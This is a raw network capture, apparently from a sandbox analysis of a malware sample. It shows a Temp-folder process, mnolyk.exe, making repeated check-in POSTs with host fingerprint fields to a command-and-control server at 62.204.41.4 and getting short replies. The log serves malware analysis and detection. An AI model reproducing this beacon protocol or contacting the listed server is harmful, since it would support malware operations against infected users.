135	192.168.2.5	49825	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:23.920192003 CET	336	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:23.984153032 CET	337	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
136	192.168.2.5	49826	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:24.159354925 CET	337	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:24.226125956 CET	338	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
137	192.168.2.5	49827	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:24.402563095 CET	338	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:24.465754986 CET	339	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
138	192.168.2.5	49828	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:24.646924973 CET	339	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:24.711596966 CET	340	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
139	192.168.2.5	49829	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:24.880676985 CET	340	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:24.943907022 CET	341	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49704	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:32.045624018 CET	214	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:32.117239952 CET	215	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.5	49830	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:25.114846945 CET	341	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:25.180715084 CET	342	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.5	49831	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:25.452284098 CET	342	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:25.517364025 CET	343	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.5	49832	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:25.693521023 CET	343	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:25.756983042 CET	344	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.5	49833	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:25.956223965 CET	344	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:26.021404982 CET	345	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.5	49834	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:26.192656994 CET	345	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:26.258816957 CET	346	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.5	49835	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:26.426112890 CET	346	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:26.489983082 CET	347	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.5	49836	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:26.660548925 CET	347	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:26.724510908 CET	348	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.5	49837	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:26.897782087 CET	348	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:26.959956884 CET	349	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.5	49838	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:27.131716013 CET	349	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:27.198204041 CET	350	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.5	49839	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:27.377568007 CET	350	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:27.444006920 CET	351	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49705	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:32.323528051 CET	215	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:32.386897087 CET	216	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.5	49840	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:27.625202894 CET	351	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:27.689275026 CET	352	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.5	49841	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:27.862567902 CET	352	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:27.928556919 CET	353	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
152	192.168.2.5	49842	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:28.111422062 CET	353	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:28.177723885 CET	354	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
153	192.168.2.5	49843	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:28.350641966 CET	354	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:17:28.415501118 CET	355	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:17:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
154	192.168.2.5	49844	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:17:28.581101894 CET	355	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
